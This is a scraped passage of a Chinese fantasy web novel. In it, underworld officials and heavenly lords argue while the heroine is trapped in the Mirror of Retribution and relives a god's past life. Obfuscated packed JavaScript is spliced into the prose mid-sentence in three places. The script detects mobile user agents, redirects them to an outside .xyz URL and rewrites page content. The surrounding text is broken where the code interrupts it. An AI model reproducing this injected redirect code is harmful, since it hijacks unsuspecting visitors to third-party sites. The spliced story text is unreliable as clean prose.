贺仁喜上心头,却惊讶戏谑道:“上君不会真带了十层护体金光来吧…” 他顿了片刻,眼眸微眯,打量镜中人,道:“果然只要做鬼做久了,就都不会太实诚了。” 复而,神情轻松,他向四周鬼差笑道:“真好,上君有仙缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺仁遮遮掩掩道:“风真君听岔了,我们方才是在讨论孽镜台内渡心境,并非是在说真君您。” 风有情怒目道:“殿下之意,是本君耳朵不好使了吗?” 贺仁半退身子,道:“真君息怒,我们真没有…” 隗晎沉声道:“风真君与第一殿有何话,可后续可再议。今日当走完十殿,让众仙君清数完幽魂。” 风有情收了声,贺仁松了一口气,同声答道:“是。” 隗晎顿了片刻,道:“第一殿着派人手,领五斗星君清点此处的幽魂数目。” 侧头,他对风有情和其他人道:“若是暂无他事,各位仙君可先在判罚殿核查部分文书。” 众人应道:“是。” 于是,便四散开来。 五斗星君跟随鬼差又去了外间,其他人则寻了审判奉上来的文书细细核对。 风雨江事大,幽魂滞留的多,文书堆积得也多。 除了隗晎和风有情,其他人在贺仁临时幻建的桌凳上,都忙忙碌碌地处理手中事,无暇顾忌判罚殿内的其他异象。 孽镜台里竟飘出一缕属于风有情的气息,将在审判殿巡视的他吸引了过去。 风有情脑袋昏沉,恍若失魂,脚下踟蹰,十几步左右,不受控制地走到了孽镜台前,还没等他触摸上孽镜台的镜面,便眼睛惊恐瞪大,回神道:“她怎么会在孽镜台里!” 声音辽阔,让在判罚殿内的众人均是浑身一震,速速清理手中事,围了过来。 风有情刚准备施法将第五茗从孽镜台里拖出来,一只手突如其来,消了他手中的法力,打断了他的举动。 一直守在孽镜台周围的审判,先贺仁跑了过来,他滑跪在孽镜台前,磕头大拜一礼,嘴里碎碎念“下官失礼了”。情急之下,他不顾风有情身上渗出的阵阵煞鬼金光,双手分别拉上僵持的隗晎和风有情,气喘吁吁道:“帝君、真君,发生何事了?咱们有话好好说。” 风有情甩开隗晎的手,挣脱审判的劝阻,不悦道:“帝君,不知你们冥界何时这么大胆了,第五茗乃是天上的仙君,你们竟敢私自将其关入孽镜台。” 隗晎未言,反而抬起另一只手,渡上法力,招徕新生水,将审判那因风有情护身金光而灼焦的手指疗愈,须臾,把审判推到了刚跑上来的贺仁怀中。 他震道:“风真君在第一殿行走,做任何事,是否都应该先问过第一殿?” 贺仁抱住审判,小声道:“做得很好,先退下吧。” 审判道:“是。” 风有情盯向贺仁,道:“那第一殿就来好好向本君说说吧!” 63. 入鬼门关为做鬼3 贺仁解释道:“真君事情有误会啊,眼前所见并非是真君看到的这样。上君阳寿未尽,还是凡人「蒲小明」之身。上君心善,顾虑风雨江事态严重,便想替冥界分解忧愁,这才以凡人二十五年未完寿数,去淬炼魂体,入此…也是为了征应冥界鬼差。风真君也是知晓的,上君身负神格。不过第一殿也有责,上君如今这般境况,倒是未曾提前思虑…” 说完,他偷瞄了一眼隗晎,见其微微颔首,遂明白,方才他并没会错意。 那征召名册上,「第五茗」顶替「蒲小明」,又有东岳帝君近侍的特意嘱言,刚刚他瞧见隗晎阻止风有情的举动,便想明白了这件事隐藏的秘密在何处了。 原来,一切都是这位东岳帝君所为。 名册是他改的。 想第五茗去淬炼魂体的,不止是第五茗本人,还有这位东岳帝君。 而那第五茗身上第一层烧了三天的护身金光,贺仁在审判身上寻到了一丝熟悉的气息,正来自隗晎残留在审判身上的法力。 上仙向下修,这都是他们冥界地府当家人惹出来的事,贺仁就算是再糊涂,此时,当着众天界仙君的面,他也该知道从中迂回,维护隗晎了。 风有情啐道:“她怎么又打这种注意!你们…当是一如既往的拦着。” 贺仁腔调委屈,道:“上君决定,真劝阻不了。” 隗晎淡淡地道:“难道冥界收一魂,还要先问过风真君?” 风有情别头,道:“算了,这事第五茗盘算多年,本君先前也知晓一二,适才是本君思虑不足,冲动了,还请帝君和殿下见谅。” 隗晎道:“嗯。” 贺仁在面具下皮笑肉不笑,道:“不妨碍,误会解释清楚就好了。” 风有情看向孽镜台内第五茗身上散出的金光,嘀咕道:“倒也是不算太固执,知道去求他人给点庇护。” 他眉头一紧,又向贺仁问道:“若是第五茗这情况继续糟糕,未有转变…” 贺仁抢答道:“风真君放心,上君因征录鬼差的通冥牌开启孽镜台,本君自是会在适当的时候,拔了通冥牌,解了孽镜台的困束。” 他在面具下,嘴角撅起,心里埋怨道:哎…通冥牌估计起不了作用,但愿上君能自己走出来吧。 因这几日堆积的事务需要处理,隗晎一直没机会去过多询问第五茗的十殿试,风有情的惊扰,才让他知晓,第五茗竟是连孽镜台都还没有走出来。 他神情严肃,问道:“她进去几日了?” 贺仁道:“六日有余。” 隗晎看向孽镜台里那一圈一圈薄薄的护身金光,呢喃道:“六日了…” 他暗自盘算:赐福赠与上君的那一道金辉多半是没了。 这一圈,很明显是其他人的,颜色淡淡的,薄薄一层,看起来有些弱不堪击。 隗晎正打算详细询问情况,旁边风有情比他更焦急道:“昔日司命殿真君连孽镜台都走不出吗?可笑…如今怎这般弱了。” 也不知哪句话惹到了隗晎。 隗晎接他话,反讥讽回去,道:“风真君没有入过孽镜台吗?说话这么轻松,真直面自己内心,风真君不知道能几日从里面出来呢?或许…会不会都走不出来,需要别人拖你出来?” 风有情愣住,他方才是在担心第五茗,他不明白隗晎为何突然要针对他,心底傲气,让他立即回道:“本君神格敞亮,从不藏匿心思,便无所畏惧,自然是当日进当日出。” 隗晎轻笑一声,道:“是吗?听说风真君上次历情劫,也入过孽镜台,敢问风真君走出来用时多久?灵台可是当真清明?本君怎么听闻,天帝曾也在那段时间进过孽镜台呢?” 先前贺仁和审判不敢妄议的秘辛,竟是让隗晎此刻全点了要害。 还是当真本人的面… 在场众人,面面相觑,视线从隗晎身上流到风有情身上,又悄摸瞟了回来。 俗话说,打人不打脸,骂人不揭短,堂堂一方帝君,如此咄咄逼人,众人心道:这两人一定有仇!恩怨很大那种!! 风有情气势弱下,心有不甘道:“本君是入过孽镜台,具体…本君不记得了。” 语气一转,他揶揄道:“本君倒是记得下界历情劫时,帝君好似还是一只轮回的幽魂,并未飞仙吧?” 隗晎挑眉道:“的确,本君飞升得晚,不如风真君资历…老。许是本君记岔了,闲言碎语听多了吧,一时忍不住,也喜欢到本人面前打听一些小道消息…” 风有情愤怒喝道:“你!” 隗晎敛容道:“风真君不会生气了吧,此次两界还有重任在风真君身上,当以大局为重。” 说巧不巧,风有情正准备不给隗晎这一方新任帝君留颜面时,石屏后,牛头马面领五斗星君入了内。 那五人见判罚殿内人影空空,都挤在了一处,走上来凑热闹。 沈青群打头,和领他们的牛头马面一般,毫无眼色,对人群前的剑拔弩张的两人见礼,道:“帝君,真君…此间幽魂数目清点完毕,共计一千五百七十六副幽魂,一千零六副是人魂,五百七十副兽魂。” 沈青群刚汇报完毕,孽镜台内又爆发出一阵闷响。 孽镜台内,第五茗身上再度炸开一圈护身金光,而缠绕锁住她的三面镜子,仿佛拉地更紧了。在金光爆了以后没多久,有一根还断了链子,三面镜子上若隐若现的第五茗身影,也消失了一处。 风有情问道:“这是什么情况。” 隗晎神色微松。贺仁答道:“回风真君,上君是承认了一处过往,胜了一面镜的测试。” 众人震惊,小声议论。 五斗星君几人嘀嘀咕咕。 沈青群一副吃到惊天大秘密的状态,道:“那不是上君吗?” 遠州茶道:“是啊,她怎么进去了?” 鸠羽道:“上君既没有犯事,又是第一次做人,想来应该是…” 贺仁加入几人,提醒道:“上君早死,还有凡人二十五年寿数,是小鬼身…几位星君可别误传谣言。” 刚刚出声了的三人,面掩尴尬,同声道:“不会不会,殿下多虑了。” 贺仁面具上两只两只眼睛溜圆,笑道:“本君做事向来严谨,几位星君别多想,我也是怕诸位误会。” 柳染道:“怎么会,殿下宽心。” 他又好奇道:“那这小鬼身进去做什么呢?” 玉子叶道:“情形看着不对啊,那三面镜子好像要把上君吃了…” 贺仁把面具掀开一角,漏出嘴齿,小声道:“秘密啊,千万别传上天。上君大善,要帮冥界干几十年活。” 五人唏嘘,吐槽道:“难得偷闲,她自己没事还给自己找事做?啧啧啧…” “上君清闲,不像我们五人劳碌命啊,若有得选,势不再寻这份差事了。” “就上君这种品性,的确是干这种事的人…她从不刻苦修炼,在天上时就闲得慌。” “哎…的确大胆。天道之命,不听;东华帝君所劝,不闻。瞎折腾,倒是挺会的。” … 几人说着说着,那孽镜台内,短短一瞬,第五茗身上又崩坏了一道护体金光。 明眼人一看,就能瞧出来,这当是一法力不足的天君,所结印出来的。 另一边,溪亖音没憋住,眼眶红红,担忧道:“姐姐能出来吗?都进去这么久了…” 南泥被那一声孽镜台内的响声震住,迟疑地走到溪亖音和路了绿身旁,刚好听到溪亖音说了这么一句话,他心中一紧,凑近路了绿,问道:“你的话究竟管不管用?寻常小鬼身不是最多一日就能从孽镜台出来吗?” 路了绿不清楚,但他比任何人都看得清楚,第五茗身上的仙君赐福还在,那就说明第五茗的事还未入绝境,也就有机会。 他安慰两人道:“你们别急,都六日了,上君人魂还在,不就说明迷魂店做的事起了作用吗?况且还能探见那日布在上君身上的福泽,再耐心等等,上君一定能出来。” 乐正词媿朝打量孽镜台内情况的隗晎和风有情二人,扫了一眼,口不对心道:“瞧把你们急的,那日他也在,你们当他真无作为?只是单纯陪上君走这一路吗?应当是还有后手。” 凉离稳定众人,道:“好了,都放心吧。我们都在这里,还担心没有办法吗?实在不行,帝君应该也会进去帮上君。” 杨战息泼冷水道:“不一定,风雷帅还在这里。” 宋世平补充道:“五斗星君也在。” 甘歌冷静道:“你们不觉的风雷帅不对劲儿吗?” 乐正词媿接话道:“是有一些,居然没有去纠察上君身上的护体金光。” 南泥道:“本君说过,我们的事,风真君都知晓,就你们不信。不过,现在是得尽快将其他人弄走,不然上君身上的护体金光全破了,后面的殿试就不好过了。” 溪亖音声音有些哽咽道:“南泥,你不担心上君出不来吗?” 南泥摊手,轻松道:“他们说得对,他在这里,怎么可能让上君毁在孽镜台,指不定他心里已经在盘算救上君的方法了。” 溪亖音望向前方熟悉的背影,心里安定了一些,道:“我们要不要把其他人弄走?” 凉离柔声赞同道:“可以试试。” 他对身旁几人建议道:“甘歌,你同杨战息和宋世平去把风真君引走,我们几人去把五斗星君劝离,你看怎么样?” 甘歌点头道:“可行。” 凉离视线探寻其他人,见众人纷纷点头,道:“分头试试吧。” 甘歌领着杨战息和宋世平走到风有情身侧,汇报道:“雷帅,第一殿的恶鬼文书今日是理不清了,人数太多,其他九殿也还未见文书,需尽快去余下几殿,见齐文书,再行汇总。” 隗晎侧目打量。贺仁藏在面具下,微不可闻的轻“啧”了一声。 风有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15659141|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情蹙眉,转头看向隗晎,道:“帝君觉得呢?” 隗晎道:“先汇恶鬼数,再一并处理,是要便捷许多。” 自他上任,冥界地府的文书是井井有条,这些个仙君还没下来之前,他们就全部整理过一遍了。 贺仁眼露疑惑,目光在隗晎和甘歌三人身上跳转,咂嘴心道:有猫腻。 风有情又望了两眼孽镜台,最终将视线定在贺仁身上,把走神的贺仁吓了一大跳。 风有情犹豫道:“好吧,风雨江鬼魂为重,先做正事。” 隗晎退后半步,让出去往上行下沉梯的路。 风有情疑惑看过来,道:“帝君不一起吗?” 跟在风有情身后的甘歌三人,同着风有情一致停了下来,他们听见隗晎道:“本君还有一些事,你们先行。” 风有情神情不悦,道:“帝君手上还有比风雨江幽魂更重要的事?” 隗晎道:“有。和第一殿还有点事情要交代。” 风有情心道:修为高有何用,如此不知轻重缓急,当真有辱帝号。 他抬步向前,道:“是吗…我等先行一步,帝君可不要误了风雨江的事。” 隗晎顿道:“今日之事,本君早与各殿核对妥当,若风真君信得过,也只消查验,不用再辛苦诸位。再有,地府本君熟稔,不会误事,风真君只管先行一步。” 风有情高傲道:“本君与诸位领的是天帝命,自然是不畏辛劳。” 他低‘哼’一声,在鬼差的引领下,踏上了上行下沉梯。 刚至第一阶上,他转回身来,无视隗晎及一种仙鬼,指着孽镜台,对贺仁吩咐道:“殿下,上君若是再有四日出不来,务必在神格损伤前将其带出来,不然天界知晓此事,怪罪下来,本君可不会偏袒尔等…别忘了,她曾是司命殿真君,天道之劫后,她仍将会是天命天道认可的司命。” 他说最后一句话时,身上流窜过一阵雷霆,火花刺眼,震慑人心。 那是他袒护第五茗,维护天帝,捍卫天界威严的决心。 是以连隗晎这位新任东岳大帝的面子,他都丝毫未给,当居高临下,祭出了雷霆之威。 贺仁躬身应承道:“是,真君之言,必谨记在心。” 隗晎只是看了眼那上行下沉梯,对风有情的行为,云淡风轻地笑了笑,便继续专注孽镜台内的动静。 那厢,风有情刚离开,凉离就带着其他人,找到了还在凑热闹的五斗星君们。 凉离眉眼深愁,道:“星君们,风真君都去下一地清算恶鬼数了,我们是不是也得尽快前往清算幽魂数呢?要不我们也先行一步?” 几人眼光在围住他们的仙友身上转了转,见隗晎没有多言语安排,沈青群尴尬缓解道:“凉离星君所言有理,诸位仙友,同请。” 凉离一群人就像是在看押五斗星君一般,前面安排了几人压阵,中间又差了两人左右各护一边,末尾还有仙君守着他们五人,一群人跟随牛头马面消失在上行下沉梯中。 审判殿中,瞬间走掉了一大半的人,只余下两三名鬼差和贺仁,以及那一直盯着孽镜台未走动的隗晎。 贺仁小声唤道:“帝君…” 隗晎吩咐道:“你们都先下去。” 贺仁犹豫道:“帝君,风真君方才还命我等照看上君,此时离去…恐怕不妥。” 说完,他看了两眼孽镜台内的第五茗,倏地,第五茗身上一层金光又炸开了,那镜面上的链子又断了一条。殿内余下几人,眸眼一震,甚是担忧,又大松了一口气。 只剩最后一面了… 有希望。 隗晎脸上有了一抹焦急之色,他厉声道:“本君在此,你们担心什么?或是因为害怕天帝?天界?还是那风有情?” 两三名鬼差腿软,下跪在地,滚了出去。 贺仁身子紧绷,低下了头,头垂下去那一瞬间,面具上只漏出的那两只眼珠子,因闪躲不急,让隗晎瞧见了一丝慌乱。 还有恐惧…对天界的恐惧和对他的恐惧。 隗晎叹息一声,语气柔软了两分,道:“贺仁,本君不管你知晓了几分,最好都烂在肚子里。我不会害她,天界也不会抓拿到把柄,更不会为难冥界。放心离去吧,本君在任一天,都会坐好这个位置。去审判殿外护阵,孽镜台上的通冥牌本君来取,上君自然会出孽镜台。” 冥界地府的变化,下面的人都看在眼里。贺仁肩头松了下去,抱礼道:“是。” 贺仁躬身退到了石屏后,便停了脚步,由他带头,围上来刚才滚出来的几名鬼差,他们扒在石屏侧面,偷看里面的动静。 他们看见隗晎开了孽镜台的结界,走了进去,在隗晎身影消失在第五茗的那副镜面中时,他漏在镜山外的一只手,轻轻一挥,整个第一殿的审判殿变得模糊,框设出了一圈结界。 没有人能走进去,也没有人能看见里面发生了什么事,更没人能听清里面的动静。 64. 一境一镜锁一情1 孽镜台内,是一片境林。 入林前,有一块镜碑状的镜片,上面闪烁一行血字「千境万镜照心景」。 第五茗不明白是什么意思。 她越过镜碑,便看见了孽镜台内的镜林,之所以称为“林”,是这里面有形状各异的镜片,长条的,圆圆的,短梯样的,折扇骨似的,矮的,高的…皆直直地插在这片虚境之中。 在镜林里走了上百步,大多数的镜片上都没有画面,空荡荡的,第五茗从那些镜面经过,也映不出她的身影。当她越往深处走时,才看懂了这些镜面其实是一个牢笼,里面锁了被送进来小鬼的一部分。 一面三角镜片,尖尖的角倒插在地上,里面突然一只握剑的手,想要冲破镜面,朝第五茗刺来。 她还是第一次见这种东西,好奇地伸出手,指尖刚与镜片内的那只手中剑,在镜面上相触,她的手指传来剧痛,眼前镜林景色一换,她到了一间客栈。 第五茗在客栈中看见了那把镜片中的长剑,和那只握剑的手。 剑和手的主人,是一名男子,他站在客栈门口,对想要冲出客栈的人,无差别砍杀,连因为害怕,哭泣寻找亲人的小孩也没有放过。 渐渐地,客栈里能跑动的人越来越少,门口那男人执剑砍人,杀红了眼,频繁扭动脑袋搜寻下一个猎物。 他朝第五茗这方扫了一眼,视线和正好打量他的第五茗相撞。 他笑着,享受着,一步一步地,向第五茗走了过来。 第五茗曾经修炼时,特意修炼过拳脚。 她本就不悦先前做人时,受身体羸弱,没机会施展拳脚,这下好了,她可以教训败类热热手,指不定日后做鬼差了还能用得上。 当她准备抬起一只脚,踹向面前来人时,她才发现四肢是虚软的,根本动不了,她身体仿佛不是自己的,一点也不听她使唤,只能傻傻站在原地,慢慢看着那男人举剑向她砍来。 疼… 七八剑穿进第五茗的身体,她眼前一黑,闭上了眼。 “啊!” 第五茗猛然睁开眼睛,手还在镜面上,却并没有受伤。 镜片内囚禁的那只手和那一把剑,如同她方才闭眼前看见的最后一幕一样,仍在拼命地朝她砍来,可在镜林里,它们却不如在那间客栈内自由,它们冲不破面前那层看不见的屏障。 第五茗收回手,大喘道:“司命府那群司命是闲得没事干了吗?!怎么会给小鬼写出这种命数…” 因为第五茗的惊叫,她周围几面有‘东西’的镜片,此时都有声音发出。 吱吱吱~ ‘东西’在阻隔它们的镜片上抓挠。 环视一圈,第五茗摇头道:“造出来的异数就关在这里吗?呵呵呵…能关多久呢?又能关多少呢?” 绕着镜林,第五茗一边看,一边走,手上不敢再随意触摸,越走越深,镜林的镜片变得规整了些,都是又大又神似外间孽镜台融合后的小山样。 其中,有一面镜子,格外的高大,里面的东西却不似其他镜面里的‘东西’,它没有死劲儿地拍打镜面,也没有吸引第五茗的注意。 可以说,镜面里根本看不见有‘东西’存在。 在那张镜面前,第五茗守了许久,里面的东西始终没有露面,她安耐不住,好奇地在镜面上敲了敲。 咚咚咚… 咚咚! 第一声,第五茗以为是敲得轻了,所以里面的‘东西’没有听到,她又重重地敲了两声… 刹那间,一根金丝气冲冲地奔到了镜面处,它‘瞪’了第五茗一眼,上下绕了几圈,极具灵气地,像个小孩一样,在第五茗面前绕出了一张鬼脸。 它的恶作剧,把第五茗逗乐了。 第五茗本来很紧张,没想到在这里面还能遇见这么有趣的东西,兴奋道:“你是什么东西?” 她的问题,让那金丝一顿,弯弯地耷拉着,像一条蹙起的眉毛。 那金丝全身一松,似无奈,跳了一圈,开始摇晃身子,像条蛇绕来绕去,扭东扭西,把身子打成了一个八字结。 第五茗点点头,表示看见了,它就开始给自己松绑,因为不熟练,绕出八字结后,还在一头一尾给身子打了死结。 两个死结,把那金丝弄急了,它猛地蹿了起来。 第五茗盯着面前的‘东西’,心道:好眼熟啊。 金丝… 八字结。 第五茗想起在哪里见过这东西了。 月老仙府里有两棵树,一颗金叶树,一颗红叶树。 金叶树用来练手,铺的是情缘红结。 另一颗,挂满了情丝的红叶树,缠绕盘扣,其中一种便是这金丝模样的八字结。 而那情丝,也是金色细丝,和这条金丝毫无二致。 第五茗嘻嘻笑问道:“你是谁的情丝啊?其他镜面关的都是手啊、脚啊、胳膊之类的,你怎么会在这里?你是不是也杀人放火了?” 一连三问,那金丝没长嘴,开不了口,它长长的身子愣愣地悬在空中。 它许是想明白了第五茗的问题,开始四处乱窜起来。 第五茗咯咯笑道:“这么毛躁…和我认识的一人脾气倒是挺像的…” 那情丝两个死结没解开,方向感极差,一来一回,一不留神,撞在了镜面上。 情丝浑身如触电一般,蜷缩发抖,贴在镜面上下不来,又挣脱不开,模样瞧着极其痛苦。 见状,第五茗蹙眉道:“别急啊,这镜面上是不是有禁制?要不要我帮帮你…” 一时心软,一时疏忽大意,一时多管闲事,第五茗把手放上了镜面。 如先前一样,她依旧碰不到境内的‘东西’… 镜林的景色变了。 她入了情丝的命数中。 神思到了另一处地方… 这一处不是屋内,周围异常亮眼,明日不沉;五彩祥云犹如在身边浮荡,缭绕不绝;满天星斗列如棋布,璀璨瑰丽,脚下一片琉璃地,远处瑶台琼阁更是金碧辉煌,美轮美奂,好不真实。 是天界! 情丝命数之地的起源,竟是在天界。 第五茗大致看了一眼,便确认了身处何地了。 她心中推算道:那是仙君的情丝? 眼前景物一晃一晃的,她的身体更加僵硬,和上一次能感觉到身体四肢的情况不同,这回,她不能发声,只能转动眼睛看一看四周,连脖子和脑袋都恍若被钉住。 视线极其的矮,只能不费力地看见前面两名天兵的腰。 第五茗朝上下左右张望一圈,眼睛累极了,但她却估摸清楚了一点状况。 她现在寄居的地方应当是一枚坠子。 至于是什么坠子,她不清楚。 坠子的主人是男是女,她不清楚。 为何这次是进了坠子里,她就更不清楚了。 还漏了一点,她有一件事也可以十分确定,就是这坠子的主人,此刻一定是在被天兵押解入冥界的路上。 因为,这条路第五茗走过一回,她可太熟悉了。 不用细细探究,就方才那费神费劲的一眼,她就看出来了。 在天界,以前第五茗就有一件事闹不明白,这天上的仙君个个都身负法力,掐一个瞬息诀,那是妥妥的小事一桩,为何出天门这一路,非得仿照那人间地上官员出行,必须用脚走啊!! 她眼下在坠子里一荡一荡的,都快吐了。 第五茗眼睛翻白时,不小心从左边扫视了一圈,一位白胡子白头发大红玉袍的仙君跑了过来。 这仙君手里捧了一本书,嘴里大喊道:“风星君留步!风星君留步!!还有事要与星君商讨一番。” 风星君?怎么这么耳熟… 第五茗眨了眨眼,朝左侧再看了一眼。 这一眼却让她瞧清了那仙君的模样,确定了心中的想法。仙君是她的熟人,仙君手里捧的书是她最熟悉的东西。 她心中呼喊道:老司命,你怎么在这儿?你怎么能把命格簿子拿出司命府呢?!你当日教讳我的话都是不作数的吗?!! 与此同时,坠子的主人停了下来,侧身向老司命驻足道:“星君慢慢来,本君不着急下凡渡劫。” 男子的声音有些粗厚,其中夹杂了些许青涩,少了一份威厉。 但第五茗还是一耳就听出来这仙君是谁了… 风有情! 第五茗嘀咕道:难道这段命数锁的是四万年前?风有情下界和雨无伤那段往事? 老司命站在离风有情半丈有余的地方,双手捧递上那本书,道:“风星君此番下去,命数是老朽为您编纂,此次帝君着司命府写的是最容易过的情劫,如今命数倒是定完了,也交予帝君核查完毕,只是这女子,老朽捉摸了好几日,还择选不下来。” 风有情问道:“为何?这很难吗?” 老司命抿了抿唇道:“命数人员安排是不难,但这最后结局是星君为女子所杀,是以会有些折损星君尊严…” 风有情嗔道:“折损尊严?可会波及天界颜面?” 老司命轻松道:“那倒不会。” 风有情又道:“可会有损雷部威信” 老司命纠结道:“后续星君接任雷部之职,有可能会…” 风有情打断道:“不行!” 听到此处,第五茗啧啧吐槽道:风友情还真没变过,碧血丹心,以天界之威为己任。 老司命迟疑道:“星君,命数已经定好了…” 风有情急躁道:“什么破命数,还会损害雷部声誉,老司命且先说来听听,不合适的话,本君自会找天帝再协商。” 老司命有一丝犹豫,想到风有情入轮回前会饮汤,锁住仙身记忆,便翻开手中的书页,念道:“仙君此劫命数不多,为大盛国的一位少年将军,保家卫国,驻守疆土,驱赶蛮人。” 风有情满意道:“嗯,这事是本君愿意去做的,老司命写得也极好,那命劫呢?” 老司命翻了一页,缓缓道:“星君年少时有一青梅竹马,出征前便会与之结亲,而建功立业后,在皇城时会得公主赏识…” 老司命说到这里,急忙解释道:“虽今时人界国主非正统人帝,但国主之女也还尚可配星君,老朽便是这么去考虑的。公主配将军,以此一世,不失星君雷部接班人的身份。” 风有情点头肯定,又问道:“这些本君知晓了,那命劫又是如何?本君此番寿数是多少?” 老司命答道:“星君此番人间寿数二十七…” 风有情又再一次打断老司命的话,疑问道:“二十七?本君还娶妻生子?” 老司命道:“只娶妻,不生子。” 风有情道:“就算不生子,可你不是还给本君安排了一位公主吗?短短二十七年寿数,如何能保家卫国之时,还和两名女子有瓜葛,你这故事究竟是怎么回事?簿子拿来,本君自己看!!讲半天都没讲明白,做事真拖拉。” 司命府的命格簿子怎么可能随意给别人借阅,尤其还是命数中的人,这可是会遭天谴的。 第五茗啐道:真是臭毛病,难怪你这命数后来生了那么多事,感情都是你自己造的,亏得我还心虚了好几千年,以为是我给你改坏了命数… 老司命劝解道:“不可啊…星君看不得命数…” 风有情轻哼一声,道:“有何看不得,不就是你写的一个小故事吗?短短人间二十七年,于本君而言,微不足道!不碍事!!” 说完,他一把拿走了老司命手中的命格簿子。前后站着的天兵也不敢对风有情无礼,只能看着老司命在风有情身边一脸哀默。 那本子,风有情翻了翻,两眼就看完。 因寿数太短,老司命把故事也写得简练,所以只有三页,根本没什么看头。 少年将军,保家卫国,做的不是什么大事,职于边疆,戍卫子民,驱逐外人。 而这一世,风有情的命劫也不复杂,就出在那后面两年,国泰民安之时,他遇见的公主身上。 少年将军和公主在皇城相遇相恋,少年将军对幼时搭救过她的正配妻子念恩,便舍了公主回了边塞将军府。 公主未死心,为爱远赴边疆。少年将军于心不忍,对公主照顾有加。正配妻子一家是因为谋害将士,诬陷邻友,被国主下书责罚,全家查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666426|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抄到只剩了她一人的孤女,导致正配妻子见他二人情谊浓厚,而心生怨怼,嫉妒满怀,意欲杀害公主。 正配妻子刺杀公主那一日,少年将军护顾不及,以身挡刀死在了公主怀里。 风有情把命格簿子扔回了老司命怀里,道:“你这故事…” 老司命躬身紧张道:“星君是觉得有问题?” 风有情摇头道:“没有。你这故事我在司命府听过太多回了,就是觉得有些简单,没新意,又无聊。” 老司命松了一口气,解释道:“司命府最受欢迎的情劫便是这一则。自古有一云,情与义两难全,若以身为爱赴死,以命为前日恩、昨日友解难,是谓全两性之志。” 老司命这番话,第五茗却不认同,她在坠子里吐槽道:狗屁不通!风有情说的才对,你们是无聊至极,才换了一个名字,套一样的故事。 风有情赞同道:“全两志,司命这么一说,倒是本君喜欢的,你这故事也还是有些意思。” 第五茗:… 她呸呸吐了两声,把夸风有情有品位的那句话吐了出来,道:无知!愚昧!! 风有情道:“会不会太简单了些,有失本君身份。” 老司命道:“风星君,这难度不小了,司命府的各位司命都最喜欢以这命数做底,加以润色。另外…星君不是还得尽快返回天界吗?老朽可不敢把这一世写得过于复杂了。” 风有情颔首道:“那倒是…二十七年寿数玩一玩便了事了,天界尚有要职需本君负责。还是老司命考虑得妥当。” 坠子内,第五茗白眼一翻,她真想堵上耳朵。 老司命颤颤巍巍道:“星君觉得这一世命数妥当了,那敢问正配妻子星君是想自己选呢?还是老朽为您找一找凡间的贵人?” 风有情摇头道:“不用了,本君觉得那有能力夺本君一命的女子,还是需得自己来选,最好是寻一个不太起眼又听话的小鬼,事毕后,还能把她困在六天宫。这般,本君这一世的污点,也不会有人知晓。” 老司命附和道:“星君所言正是,那老朽随星君一起去六天宫寻一寻合适的历劫小鬼?” 给自己挑老婆这种事,怎么好劳烦有知情的第三人在场。风有情拒绝道:“不用了,本君反正要去六天宫入人道渡劫,本君自己去便可以了。” 老司命彷徨道:“可是…星君挑选的小鬼,若是老朽不跟着去,便不知道是谁啊?” 风有情再一次打断老司命的话,道:“这有何难,本君给她一信物就行了。” 坠子中,第五茗百无聊赖地听两人讲话,猛然眼前景色天旋地转,老司命的脸在她眼前放大。 风有情甩起坠子,道:“本君的雨田心玉给哪只小鬼了,你便帮本君把那只小鬼写进去就行了。” 老司命还想再说点什么,嘴张张合合,最后却只讲了一个字,道:“是。” 老司命向风有情索要来雨田心玉,把它放进命格簿子一盖一掀,雨田心玉便隐了仙法,变成了一块普普通通的玉石。 第五茗在坠子里突然全身一松,掉进了雨田心玉里,她自由了。 可是,她还是被困在坠子形成的容器里,只不过是能在坠子里自由活动,而原先“眼睛”的地方,则变成了一个窗子,如雨田心玉的“田”字一般。 她趴在窗子上,看见风有情跟着几名天兵,一起走了那条去六天宫的路,到了奈何桥前。 风有情眼光有些高,太丑的女鬼他不要,身材不好的女鬼他不要,性格不温顺的他不要,聒噪的他也不要…挑挑拣拣,到了奈何桥边,都没选到一只称心如意的小鬼。 而“天上仙君要选小鬼入世历劫”的消息不胫而走,许多还没被风有情相看的女鬼都挤到了奈何桥边,花枝招展,心花怒放,眉飞色舞,激动难耐。 她们的积极,把那位协助守桥老孟婆熬汤的女鬼,衬托得格外清晰脱俗,不染尘世。 风有情走到大锅前,道:“小鬼,抬起头来。” 女鬼继续熬煮汤水,她不知道这句话她该不该听,老孟婆说过,来奈何桥的人,她都不用过多搭理。 且今日因这位仙君到此,奈何桥小鬼聚得格外多,她还谨记着老孟婆说过的话,鬼群而至,要快些分汤,不然鬼积攒多了,会出事。 风有情声音大了一些,问道:“本君同你说话,你叫什么名字?” 女鬼闭嘴不言,低头依旧在熬汤… 风有情道:“你不想去人界走一圈吗?和本君一起,那是天大的福分。” 